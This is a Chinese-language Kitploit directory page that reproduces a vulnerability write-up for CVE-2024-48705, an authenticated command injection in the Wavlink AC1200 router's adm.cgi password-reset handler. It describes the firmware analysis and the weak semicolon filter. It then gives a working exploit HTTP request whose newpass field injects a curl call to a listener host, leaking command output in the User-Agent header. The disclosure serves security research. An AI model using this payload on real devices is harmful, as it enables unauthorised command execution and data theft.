Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-48705 — Wavlink AC1200 固件版本 M32A3_V1410_230602 和 M32A3_V1410_240222 在重置密码时存在认证后命令注入漏洞。该漏洞具体存在于“adm.cgi”二进制文件的“set_sys_adm”函数中,是由于对用户提供的“newpass”字段过滤不当所致。 | Kitploit
工具/GitHubGitHub/l41kaa/cve-2024-48705
嵌入式系统安全物联网安全漏洞分析漏洞利用逆向工程Web应用程序漏洞利用渗透测试命令与控制二进制分析固件分析
GitHubl41kaa/cve-2024-48705

CVE-2024-48705

221年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Wavlink AC1200 固件版本 M32A3_V1410_230602 和 M32A3_V1410_240222 在重置密码时存在认证后命令注入漏洞。该漏洞具体存在于“adm.cgi”二进制文件的“set_sys_adm”函数中,是由于对用户提供的“newpass”字段过滤不当所致。

查看仓库

概述

在近期对 Wavlink AC1200(型号:WL-WN532A3)进行的安全研究中,发现 "/cgi-bin/adm.cgi" 端点存在一个认证后命令注入漏洞。该漏洞可能使已攻破路由器凭据的恶意攻击者能够运行任意 shell 命令。目前正在为该漏洞申请 CVE 编号。

固件提取

收到 Wavlink AC1200 路由器后,识别出已加载的固件版本为 'M32A3_V1410_230602'。然而,该特定固件版本在官方 Wavlink 支持网站上并未提供。Wavlink 仅提供了一个固件版本 M32A3_V1410_240222,它大约新出八个月。在分析过程中,决定研究较新的可用固件,同时尝试利用旧版本上的漏洞,以确认任何已识别的漏洞是否影响这两个固件版本。这也避免了手动从设备提取固件的需要。提取根文件系统只需使用 'binwalk' 的提取功能即可完成。M32A3_V1410_240222 固件可通过以下链接下载:https://docs.wavlink.xyz/Firmware/fm-532a3/

漏洞详情

初步研究集中在识别命令注入的攻击面。虽然许多对 system、popen 以及各种用于运行系统命令的导入辅助函数的调用在代码中存在,但其中很多只是对预先编写的 bash 脚本的调用,无法进行注入。然而,在 /etc_ro/lighttpd/www/cgi-bin/adm.cgi 中 set_sys_adm 函数内对 system 的一个调用,由于传入了一个通过 sprintf 格式化的字符数组,第一眼就引起了怀疑。进一步检查后,确定该函数试图通过查找 ; 字符来清理用户提供的密码输入。但这种清理未能考虑到其他命令注入技术。

下图显示了 set_sys_adm 的反汇编。为便于分析,部分变量名称已更改。从图中可以看到,该函数在第40行从 Web 请求中获取 password 字段,然后确保它既不是 NULL、不包含分号(;),也不与第58-60行中先前存储的密码值相同。该值随后被传递给 sprintf 调用,该调用构建命令如下:echo "<用户名>:<密码>" > /etc/lighttpd.user。然后这个格式化字符串立即被传递给 system 调用。

这是一个重大发现,但需要弄清楚从 Web 门户哪里可以访问到这个漏洞。很快发现,当从 "登录密码" 页面重置密码时会调用此函数。

在识别出该网页后,使用 Burp Suite 捕获了 HTTP POST 请求。请求如下:

root@kitploit:~
POST /cgi-bin/adm.cgi HTTP/1.1
Host: 192.168.10.1
Content-Length: 82
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.10.1/set_safety.shtml?r=12980
Accept-Encoding: gzip, deflate, br
Cookie: session=420022404
Connection: keep-alive

page=sysAdm&username=admin&SYSPASS=asdfasdf&newpass=hellohello&NEWPASS2=hellohello

利用漏洞

现在已经了解了命令注入漏洞,并确定了该漏洞的可访问位置,接下来尝试进行利用。发送了以下请求,强制路由器向一个 netcat 监听器发起 curl 请求,同时通过 User Agent 字段泄露数据。在 URL 编码并放入请求之前,尝试执行的命令如下:curl http://192.168.1.6:4567/ -A $(pwd)。放置在 HTTP POST 请求中的命令如下:

root@kitploit:~
POST /cgi-bin/adm.cgi HTTP/1.1
Host: 192.168.10.1
Content-Length: 82
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.10.1/set_safety.shtml?r=76755
Accept-Encoding: gzip, deflate, br
Cookie: session=1783394974
Connection: keep-alive

page=sysAdm&username=admin&SYSPASS=asdfasdf&newpass=hellohello\"+%26%26+curl+http%3a//192.168.1.6%3a4567+-A+$(pwd)&NEWPASS2=hellohello

发送请求后,我们确认该漏洞是可利用的。

下载工具